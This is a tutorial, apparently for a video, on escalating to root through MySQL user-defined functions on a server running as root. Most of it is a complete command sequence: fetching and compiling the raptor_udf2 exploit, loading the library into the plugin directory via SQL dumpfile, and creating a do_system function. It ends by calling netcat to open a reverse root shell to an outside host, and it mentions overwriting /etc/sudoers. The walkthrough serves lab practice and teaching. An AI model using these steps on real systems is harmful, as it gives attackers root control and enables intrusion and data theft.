Privilege Escalation: MySQL User Defined Functions

MySQL UDF:

Running MySQL as root or any privileged user is an extremely dangerous practice. Using a default install of MySQL and having it run as root an attacker is able to escalate privileges to root using a UDF or User Defined Functions technique. In this video we will go over how to exploit this live with a misconfigured MySQL Server running as root.

To configure this vulnerability on Kali to test run the following commands.

chown -R root:root /var/lib/mysql
vi /etc/mysql/mariadb.conf.d/50-server.cnf
    Change user=mysql to user=root and save the file
service mysql restart

Once you have done the steps above you should have MySQL running at root on Kali to test it out yourselves.

In this example we will assume you have initial shell access to the machine. If we take a look at /var/www/html/ we can see there is a config called config.inc.php. This seems to hold the MySQL root username and password! We also take a look at the mysql process with ps and we are able to see that it is indeed running at root! With both of these things we can now escalate our privilges to root.

First thing we need to do on our Attacking machine is download the UDF C source code that will execute the Commands in the context of a SQL statement.

wget http://0xdeadbeef.info/exploits/raptor_udf2.c

Once you have downloaded this file we must compile it. This will take 2 runs with gcc to compile to a shared object.

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Now that it has been compiled we will want to begin the exploitation. You can compile the C code on the victim machine or the attacking machine. Keep in mind the difference of architecture if you compile it on the attacker machine. Be sure to compile it for the correct system! When in doubt compile it on the victim’s system. In this example it is an attacking Kali machine and the victim Kali machine. Once compiled pass over the new raptor_udf2.so file into /tmp/ on the victim.

First we will need to access mysql with our newly found username and password. Note that this is executed on the victim shell we have gained.

# This will prompt for the password.
mysql -u root -p
# This will select the mysql db
use mysql;

With this done we will need to create a temperary table for us to work with. We need a place to load in the Shared Binary into MySQL.

create table foo(line blob);

Now that we have the table setup we will need to insert the contents into the table. We do this because the next step is to export it to a root only directory. Since it was moved over or compiled on the victims machine as a non root user this is the only way to do it.

insert into foo values(load_file('/tmp/raptor_udf2.so'));

With the raw binary inside of the table we can select it and dump the contents onto the disk anywhere we like! Note that you can even push the contents of a new /etc/sudoers file and overwrite it!

For a UDF to work we need to find the location of the plugins directory. This is where we need the file to be stored. otherwise you will get an error refering to ‘raptor_udf2.so’ cannot be found.

# Look for the value of plugin_dir
 show variables like '%plugin%';

# Use the plugin_dir as the dump file location
select * from foo into dumpfile "/usr/lib/x86_64/mariadb18/plugin/raptor_udf2.so";

If there are no errors you were able to sucessfully push the raw binary of raptor_udf2.so into the plugins directory owned by root! Now we need to create the function to complete the privelege escalation.

create function do_system returns integer soname 'raptor_udf2.so';

Now that this is done we can confirm the functions is present in mysql.

select * from mysql.func;

If we see the name do_system with the type function we are good to go. The only thing left is to actually run the code we want.

select do_system('nc 192.168.1.24 4444 -e /bin/bash &');

We now setup our listener and we have a root shell!